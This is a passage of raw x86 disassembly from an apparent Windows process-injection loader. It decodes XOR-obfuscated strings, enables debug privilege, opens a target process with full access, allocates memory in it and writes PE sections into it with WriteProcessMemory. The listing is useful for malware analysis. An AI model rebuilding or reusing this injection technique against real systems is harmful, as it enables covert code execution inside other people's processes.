mov eax, dword [0x4074f0]
mov dword [esp + 0x38], eax
movups xmmword [esp + 0x20], xmm0
movq xmm0, qword [0x4074e8]
movq qword [esp + 0x30], xmm0
je 0x4025f0
xor edx, edx
cmp dword [0x409410], 2
mov dword [esp + 0x14], edx
jl 0x4025c0
movaps xmm0, xmmword [str.7777777777777777]
mov eax, 4
movaps xmm4, xmmword [0x4077c0]
movaps xmm3, xmmword [0x407810]
movaps xmm6, xmmword [0x4077e0]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [esp + 0x60], xmm0
mov ecx, dword [esp + 0x60]
movd xmm7, eax
nop word [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x20]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [esp + edx + 0x20], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x24]
pxor xmm1, xmm0
movd dword [esp + edx + 0x24], xmm1
add edx, 8
cmp edx, 0x18
jl 0x4024c0
mov dword [esp + 0x14], edx
cmp edx, 0x1c
jge 0x4025f0
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x14]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x37
xor byte [esp + edx + 0x20], cl
inc edx
mov dword [esp + 0x14], edx
cmp edx, 0x1c
jl 0x4025c0
lea eax, [esp + 0x20]
jmp 0x4023f7
mov ecx, 0x2000
test word [eax + 0x16], cx
jne 0x4027c9
movups xmm0, xmmword [0x407600]
mov eax, dword [0x407618]
xor edx, edx
cmp dword [0x409410], 2
mov dword [esp + 0x38], eax
mov ax, word [0x40761c]
movups xmmword [esp + 0x20], xmm0
mov word [esp + 0x3c], ax
movq xmm0, qword [0x407610]
mov al, byte [0x40761e]
movq qword [esp + 0x30], xmm0
mov byte [esp + 0x3e], al
mov dword [esp + 0x14], edx
jl 0x402790
movaps xmm0, xmmword [str.7777777777777777]
mov eax, 4
movaps xmm4, xmmword [0x4077c0]
movaps xmm3, xmmword [0x407810]
movaps xmm6, xmmword [0x4077e0]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [esp + 0x60], xmm0
mov ecx, dword [esp + 0x60]
movd xmm7, eax
nop dword [eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x20]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [esp + edx + 0x20], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x24]
pxor xmm1, xmm0
movd dword [esp + edx + 0x24], xmm1
add edx, 8
cmp edx, 0x18
jl 0x402690
mov dword [esp + 0x14], edx
cmp edx, 0x1f
jge 0x4027c0
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x14]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x37
xor byte [esp + edx + 0x20], cl
inc edx
mov dword [esp + 0x14], edx
cmp edx, 0x1f
jl 0x402790
lea eax, [esp + 0x20]
jmp 0x4023f7
lea eax, [esp + 0xcb]
push eax
push 0
push 1
push 0x14
call dword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
movups xmm0, xmmword [str.wI_UUSY]
mov al, byte [0x407750]
xor edx, edx
mov esi, dword [0x409410]
mov byte [esp + 0x40], al
mov dword [esp + 0x1c], edx
movups xmmword [esp + 0x20], xmm0
movups xmm0, xmmword [0x407740]
movups xmmword [esp + 0x30], xmm0
cmp esi, 2
jl 0x402950
movaps xmm0, xmmword [str.7777777777777777]
mov eax, 4
movaps xmm4, xmmword [0x4077c0]
movaps xmm3, xmmword [0x407810]
movaps xmm6, xmmword [0x4077e0]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [esp + 0x60], xmm0
mov ecx, dword [esp + 0x60]
movd xmm7, eax
nop word [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x20]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [esp + edx + 0x20], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x24]
pxor xmm1, xmm0
movd dword [esp + edx + 0x24], xmm1
add edx, 8
cmp edx, 0x20
jl 0x402850
mov dword [esp + 0x1c], edx
cmp edx, 0x21
jge 0x402980
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x1c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x37
xor byte [esp + edx + 0x20], cl
inc edx
mov dword [esp + 0x1c], edx
cmp edx, 0x21
jl 0x402950
lea eax, [esp + 0x20]
push eax
call fcn.00401010
add esp, 4
push dword [esp + 0x14]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
xor edx, edx
mov dword [esp + 0x7c], eax
test eax, eax
jne 0x402b69
mov ax, word [0x407474]
mov word [esp + 0x50], ax
mov al, byte [0x407476]
mov byte [esp + 0x52], al
mov dword [esp + 0x14], edx
movups xmm0, xmmword [0x407444]
movups xmmword [esp + 0x20], xmm0
movups xmm0, xmmword [0x407454]
movups xmmword [esp + 0x30], xmm0
movups xmm0, xmmword [0x407464]
movups xmmword [esp + 0x40], xmm0
cmp esi, 2
jl 0x402b30
movaps xmm0, xmmword [str.7777777777777777]
mov eax, 4
movaps xmm4, xmmword [0x4077c0]
movaps xmm3, xmmword [0x407810]
movaps xmm6, xmmword [0x4077e0]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [esp + 0x60], xmm0
mov ecx, dword [esp + 0x60]
movd xmm7, eax
nop dword [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x20]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [esp + edx + 0x20], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x24]
pxor xmm1, xmm0
movd dword [esp + edx + 0x24], xmm1
add edx, 8
cmp edx, 0x30
jl 0x402a30
mov dword [esp + 0x14], edx
cmp edx, 0x33
jge 0x402b60
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x14]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x37
xor byte [esp + edx + 0x20], cl
inc edx
mov dword [esp + 0x14], edx
cmp edx, 0x33
jl 0x402b30
lea eax, [esp + 0x20]
jmp 0x405a98
mov al, byte [0x4072f8]
mov byte [esp + 0x40], al
mov dword [esp + 0x1c], edx
movups xmm0, xmmword [0x4072d8]
movups xmmword [esp + 0x20], xmm0
movups xmm0, xmmword [0x4072e8]
movups xmmword [esp + 0x30], xmm0
cmp esi, 2
jl 0x402cd0
movaps xmm0, xmmword [str.7777777777777777]
mov eax, 4
movaps xmm4, xmmword [0x4077c0]
xor edx, edx
movaps xmm3, xmmword [0x407810]
movaps xmm6, xmmword [0x4077e0]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [esp + 0x60], xmm0
mov ecx, dword [esp + 0x60]
movd xmm7, eax
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x20]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [esp + edx + 0x20], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x24]
pxor xmm1, xmm0
movd dword [esp + edx + 0x24], xmm1
add edx, 8
cmp edx, 0x20
jl 0x402bd0
mov dword [esp + 0x1c], edx
cmp edx, 0x21
jge 0x402d00
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x1c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x37
xor byte [esp + edx + 0x20], cl
inc edx
mov dword [esp + 0x1c], edx
cmp edx, 0x21
jl 0x402cd0
lea eax, [esp + 0x20]
push eax
call fcn.00401010
mov eax, dword [esp + 0x84]
add esp, 4
push 4
push 0x3000
push dword [eax + 0x50]
push 0
push dword [esp + 0x8c]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
xor edx, edx
mov dword [esp + 0x1c], eax
test eax, eax
jne 0x402f1b
mov eax, dword [0x407784]
mov dword [esp + 0x50], eax
mov dword [esp + 0x14], edx
movups xmm0, xmmword [str.KHTN_a]
movups xmmword [esp + 0x20], xmm0
movups xmm0, xmmword [0x407764]
movups xmmword [esp + 0x30], xmm0
movups xmm0, xmmword [0x407774]
movups xmmword [esp + 0x40], xmm0
cmp esi, 2
jl 0x402eb0
movaps xmm0, xmmword [str.7777777777777777]
mov eax, 4
movaps xmm4, xmmword [0x4077c0]
movaps xmm3, xmmword [0x407810]
movaps xmm6, xmmword [0x4077e0]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [esp + 0x60], xmm0
mov ecx, dword [esp + 0x60]
movd xmm7, eax
nop dword [eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x20]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [esp + edx + 0x20], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x24]
pxor xmm1, xmm0
movd dword [esp + edx + 0x24], xmm1
add edx, 8
cmp edx, 0x30
jl 0x402db0
mov dword [esp + 0x14], edx
cmp edx, 0x34
jge 0x402ee0
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x14]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x37
xor byte [esp + edx + 0x20], cl
inc edx
mov dword [esp + 0x14], edx
cmp edx, 0x34
jl 0x402eb0
lea eax, [esp + 0x20]
push eax
call fcn.00401010
add esp, 4
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push dword [esp + 0x7c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
mov ecx, dword [esp + 0x4c4]
xor ecx, esp
call fcn.00405efa
mov esp, ebp
pop ebp
ret
mov eax, dword [0x407290]
mov dword [esp + 0x40], eax
mov ax, word [0x407294]
mov word [esp + 0x44], ax
mov al, byte [0x407296]
mov byte [esp + 0x46], al
mov dword [esp + 0x18], edx
movups xmm0, xmmword [0x407270]
movups xmmword [esp + 0x20], xmm0
movups xmm0, xmmword [0x407280]
movups xmmword [esp + 0x30], xmm0
cmp esi, 2
jl 0x4030a0
movaps xmm0, xmmword [str.7777777777777777]
mov eax, 4
movaps xmm4, xmmword [0x4077c0]
xor edx, edx
movaps xmm3, xmmword [0x407810]
movaps xmm6, xmmword [0x4077e0]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [esp + 0x60], xmm0
mov ecx, dword [esp + 0x60]
movd xmm7, eax
nop word [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x20]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [esp + edx + 0x20], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x24]
pxor xmm1, xmm0
movd dword [esp + edx + 0x24], xmm1
add edx, 8
cmp edx, 0x20
jl 0x402fa0
mov dword [esp + 0x18], edx
cmp edx, 0x27
jge 0x4030d0
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x18]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x37
xor byte [esp + edx + 0x20], cl
inc edx
mov dword [esp + 0x18], edx
cmp edx, 0x27
jl 0x4030a0
lea eax, [esp + 0x20]
push eax
call fcn.00401010
mov eax, dword [esp + 0x84]
add esp, 4
push 0
push dword [eax + 0x54]
push edi
push dword [esp + 0x28]
push dword [esp + 0x8c]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor edx, edx
mov dword [esp + 0x18], edx
test eax, eax
jne 0x4032f2
mov eax, dword [0x4072c8]
mov dword [esp + 0x50], eax
mov ax, word [0x4072cc]
mov word [esp + 0x54], ax
mov al, byte [0x4072ce]
mov byte [esp + 0x56], al
movups xmm0, xmmword [0x407298]
movups xmmword [esp + 0x20], xmm0
movups xmm0, xmmword [0x4072a8]
movups xmmword [esp + 0x30], xmm0
movups xmm0, xmmword [0x4072b8]
movups xmmword [esp + 0x40], xmm0
cmp esi, 2
jl 0x403290
movaps xmm0, xmmword [str.7777777777777777]
mov eax, 4
movaps xmm4, xmmword [0x4077c0]
movaps xmm3, xmmword [0x407810]
movaps xmm6, xmmword [0x4077e0]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [esp + 0x60], xmm0
mov ecx, dword [esp + 0x60]
movd xmm7, eax
nop word [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x20]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [esp + edx + 0x20], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x24]
pxor xmm1, xmm0
movd dword [esp + edx + 0x24], xmm1
add edx, 8
cmp edx, 0x30
jl 0x403190
mov dword [esp + 0x18], edx
cmp edx, 0x37
jge 0x4032c0
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x18]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x37
xor byte [esp + edx + 0x20], cl
inc edx
mov dword [esp + 0x18], edx
cmp edx, 0x37
jl 0x403290
lea eax, [esp + 0x20]
push eax
call fcn.00401010
mov esi, dword [esp + 0x80]
add esp, 4
push 0x8000
push 0
push dword [esp + 0x24]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x402400
mov eax, dword [0x407358]
mov dword [esp + 0x40], eax
mov ax, word [0x40735c]
mov word [esp + 0x44], ax
movups xmm0, xmmword [str.VJBUSY]
movups xmmword [esp + 0x20], xmm0
movups xmm0, xmmword [0x407348]
movups xmmword [esp + 0x30], xmm0
cmp esi, 2
jl 0x403460
movaps xmm0, xmmword [str.7777777777777777]
mov eax, 4
movaps xmm4, xmmword [0x4077c0]
xor edx, edx
movaps xmm3, xmmword [0x407810]
movaps xmm6, xmmword [0x4077e0]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [esp + 0x60], xmm0
mov ecx, dword [esp + 0x60]
movd xmm7, eax
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x20]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [esp + edx + 0x20], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x24]
pxor xmm1, xmm0
movd dword [esp + edx + 0x24], xmm1
add edx, 8
cmp edx, 0x20
jl 0x403360
mov dword [esp + 0x18], edx
cmp edx, 0x26
jge 0x403490
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x18]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x37
xor byte [esp + edx + 0x20], cl
inc edx
mov dword [esp + 0x18], edx
cmp edx, 0x26
jl 0x403460
lea eax, [esp + 0x20]
push eax
call fcn.00401010
mov esi, dword [esp + 0x84]
xor eax, eax
add esp, 4
xor edi, edi
cmp ax, word [esi + 6]
jae 0x4034ef
add esi, 0x10c
mov eax, dword [esi]
add eax, dword [esp + 0x10]
push 0
push dword [esi - 4]
push eax
mov eax, dword [esi - 8]
add eax, dword [esp + 0x28]
push eax
push dword [esp + 0x8c]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [esp + 0x80]
lea esi, [esi + 0x28]
inc edi
movzx eax, word [eax + 6]
cmp edi, eax
jb 0x4034b4
mov esi, dword [esp + 0x80]
movups xmm0, xmmword [0x407788]
mov al, byte [0x4077b0]
xor edx, edx
mov edi, dword [0x409410]
mov byte [esp + 0x48], al
mov dword [esp + 0x18], edx
movups xmmword [esp + 0x20], xmm0
movups xmm0, xmmword [0x407798]
movups xmmword [esp + 0x30], xmm0
movq xmm0, qword [0x4077a8]
movq qword [esp + 0x40], xmm0
cmp edi, 2
jl 0x403670
movaps xmm0, xmmword [str.7777777777777777]
mov eax, 4
movaps xmm4, xmmword [0x4077c0]
movaps xmm3, xmmword [0x407810]
movaps xmm6, xmmword [0x4077e0]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [esp + 0x60], xmm0
mov ecx, dword [esp + 0x60]
movd xmm7, eax
nop word [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x20]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [esp + edx + 0x20], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
